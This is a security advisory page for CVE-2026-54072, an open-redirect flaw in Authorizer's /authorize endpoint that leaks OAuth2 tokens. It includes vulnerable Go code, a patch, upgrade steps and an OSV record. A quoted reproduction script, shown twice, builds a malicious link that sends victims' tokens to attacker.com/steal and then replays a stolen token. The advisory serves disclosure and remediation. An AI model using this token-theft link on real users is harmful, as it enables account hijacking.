CVE-2026-54072: Authorizer Unvalidated Redirect_uri Vulnerability

CRITICAL
Advisory Identifier: GHSA-h29v-hj44-q8cv
CVSS 9.3
CWE-601
Published
Advisory Summary

CVE-2026-54072 is a CRITICAL (CVSS 9.3) unvalidated redirect_uri vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Authorizer libraries in the Go ecosystem. The issue involves unvalidated redirect_uri in /authorize leaks oauth2 tokens to attacker-controlled url. Remediation is available by upgrading affected packages to version 0.0.0-20260409051328-bd3f5baf6d3d.

CVE-2026-54072 at a Glance

CVE Identifier CVE-2026-54072
GHSA Identifier GHSA-h29v-hj44-q8cv
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product Authorizer
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-54072

To remediate this vulnerability, upgrade all affected Authorizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/authorizerdev/authorizer fixed: 0.0.0-20260409051328-bd3f5baf6d3d
Upgrade github.com/authorizerdev/authorizer to 0.0.0-20260409051328-bd3f5baf6d3d
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/authorizerdev/authorizer

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54072, inspect your project dependencies for Authorizer:

inspect dependencies for github.com/authorizerdev/authorizer

Analyze the terminal output to locate any version of Authorizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260409051328-bd3f5baf6d3d), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Authorizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. ## Vulnerable Code `internal/http_handlers/authorize.go`: ```go redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL ``` Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`. ## Steps to Reproduce ```bash # 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" # 2. Craft the malicious URL and send to victim (victim must be logged in) # When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" # 3. Attacker receives 302 redirect with all tokens: # https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... # 4. Validate stolen token curl -s http://TARGET/userinfo \ -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" # Returns: {"email":"victim@example.com","id":"...","roles":["user"]} ``` ## Impact An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. ## Proposed Fix Add the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1: ```go // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return } ```

CVE-2026-54072 Affected Authorizer Versions

1 component(s)
Fixed Versions:
0.0.0-20260409051328-bd3f5baf6d3d
Product / Package Ecosystem Affected Versions Fixed Version
github.com/authorizerdev/authorizer
Go
< 0.0.0-20260409051328-bd3f5baf6d3d
0.0.0-20260409051328-bd3f5baf6d3d

References

Frequently Asked Questions

What is CVE-2026-54072?
CVE-2026-54072 is a security vulnerability in Authorizer involving Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which Authorizer versions are affected?
Affected versions include releases prior to 0.0.0-20260409051328-bd3f5baf6d3d across affected packages: github.com/authorizerdev/authorizer.
What version fixes CVE-2026-54072?
Upgrading to 0.0.0-20260409051328-bd3f5baf6d3d (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/authorizerdev/authorizer affected?
Yes, github.com/authorizerdev/authorizer is affected in releases prior to 0.0.0-20260409051328-bd3f5baf6d3d. Upgrade your dependency to 0.0.0-20260409051328-bd3f5baf6d3d or later.
What is the CVSS score of CVE-2026-54072?
CVE-2026-54072 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-54072?
CVE-2026-54072 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check Go dependencies for CVE-2026-54072?
Run the dependency tree command: 'inspect dependencies for github.com/authorizerdev/authorizer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h29v-hj44-q8cv",
  "modified" : "2026-07-10T19:25:15Z",
  "published" : "2026-07-10T19:25:15Z",
  "aliases" : [ "CVE-2026-54072" ],
  "summary" : "Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL",
  "details" : "## Summary\n\nThe `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint.\n\nPartial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included.\n\n## Vulnerable Code\n\n`internal/http_handlers/authorize.go`:\n\n```go\nredirectURI := strings.TrimSpace(gc.Query(\"redirect_uri\"))\n// ... no IsValidOrigin() call ...\n// response_type=token path (line ~263):\nif strings.Contains(redirectURI, \"?\") {\n    redirectURI = redirectURI + \"&\" + params\n} else {\n    redirectURI = redirectURI + \"?\" + params\n}\nhandleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL\n```\n\nCompare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`.\n\n## Steps to Reproduce\n\n```bash\n# 1. Obtain client_id (no authentication required)\nCLIENT_ID=$(curl -s http://TARGET/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"{meta{client_id}}\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])\")\n\necho \"client_id: $CLIENT_ID\"\n\n# 2. Craft the malicious URL and send to victim (victim must be logged in)\n# When victim opens this URL, tokens are delivered to attacker.com\nMALICIOUS_URL=\"http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query\"\n\necho \"Send to victim: $MALICIOUS_URL\"\n\n# 3. Attacker receives 302 redirect with all tokens:\n# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...\n\n# 4. Validate stolen token\ncurl -s http://TARGET/userinfo \\\n  -H \"Authorization: Bearer STOLEN_ACCESS_TOKEN\"\n# Returns: {\"email\":\"victim@example.com\",\"id\":\"...\",\"roles\":[\"user\"]}\n```\n\n## Impact\n\nAn attacker who tricks a logged-in user into clicking a crafted link can steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.\n\n## Proposed Fix\n\nAdd the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1:\n\n```go\n// In authorize.go, after reading redirect_uri:\nif !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n    handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{\n        \"error\":             \"invalid_request\",\n        \"error_description\": \"redirect_uri is not allowed\",\n    }, http.StatusBadRequest)\n    return\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/authorizerdev/authorizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260409051328-bd3f5baf6d3d"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-h29v-hj44-q8cv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/authorizerdev/authorizer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:25:15Z",
    "nvd_published_at" : null
  }
}